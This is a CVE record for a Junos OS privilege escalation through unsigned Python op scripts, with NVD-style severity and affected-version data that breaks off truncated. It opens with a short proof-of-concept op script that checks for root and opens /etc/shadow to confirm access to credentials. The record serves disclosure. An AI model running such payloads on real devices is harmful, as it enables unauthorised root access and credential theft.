CVE-2026-33793

#!/usr/bin/env python # PoC for CVE-2026-33793: Privilege Escalation via Unsigned Python Op Scripts # This script demonstrates the execution context when run as a malicious op script. import os import sys def check_privileges(): """Check if the script is running with root privileges.""" if os.geteuid() == 0: print("[+] Success: Running as ROOT!") print("[+] User ID:", os.getuid()) print("[+] Effective User ID:", os.geteuid()) # Malicious action simulation (e.g., writing to a root-only file) try: with open("/etc/shadow", "r") as f: print("[+] Able to read /etc/shadow (Sensitive data access confirmed).") except Exception as e: print("[-] Error accessing shadow file:", e) else: print("[-] Failed: Not running as root.") print("[-] Current UID:", os.getuid()) def main(): print("[*] Junos OS Malicious Op Script PoC") print("[*] Attempting privilege escalation...") check_privileges() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-33793", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:29.297", "lastModified": "2026-04-16T18:42:26.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Execution with Unnecessary Privileges vulnerability in the User Interface (UI) of Juniper Networks Junos OS and Junos OS Evolved allows a local, low-privileged attacker to gain root privileges, thus compromising the system.\n\nWhen a configuration that allows unsigned Python op scripts is present on the device, a non-root user is able to execute malicious op scripts as a root-equivalent user, leading to privilege escalation. \n\nThis issue affects Junos OS: \n\n * All versions before 22.4R3-S7, \n * from 23.2 before 23.2R2-S4, \n * from 23.4 before 23.4R2-S6,\n * from 24.2 before 24.2R1-S2, 24.2R2, \n * from 24.4 before 24.4R1-S2, 24.4R2; \n\n\n\n\nJunos OS Evolved: \n\n\n\n * All versions before 22.4R3-S7-EVO, \n * from 23.2 before 23.2R2-S4-EVO, \n * from 23.4 before 23.4R2-S6-EVO,\n * from 24.2 before 24.2R2-EVO, \n * from 24.4 before 24.4R1-S1-EVO, 24.4R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Amber", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "57F66641-003B-49D6-A9B9-AB300CFE3C93"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "1379EF30-AF04-4F98-8328-52A631F24737"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "28E42A41-7965-456B-B0AF-9D3229CE4D4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "CB1A77D6-D3AD-481B-979C-8F778530B175"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "3A064B6B-A99B-4D8D-A62D-B00C7870BC30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2:*:*:*:*:*:*", "matchCriteriaId": "40813417-A938-4F74-A419-8C5188A35486"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "7FC1BA1A-DF0E-4B15-86BA-24C60E546732"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "EBB967BF-3495-476D-839A-9DBFCBE69F91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3:*:*:*:*:*:*", "matchCriteriaId": "7E5688D6-DCA4-4550-9CD1-A3D792252129"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s1:*:*:*:*:*:*", "matchCriteriaId": "8494546C-00EA-49B6-B6FA-FDE42CA5B1FA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s2:*:*:*:*:*:*", "matchCriteriaId": "8BB98579-FA33-4E41-A162-A46E9709FBD3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r ... (truncated)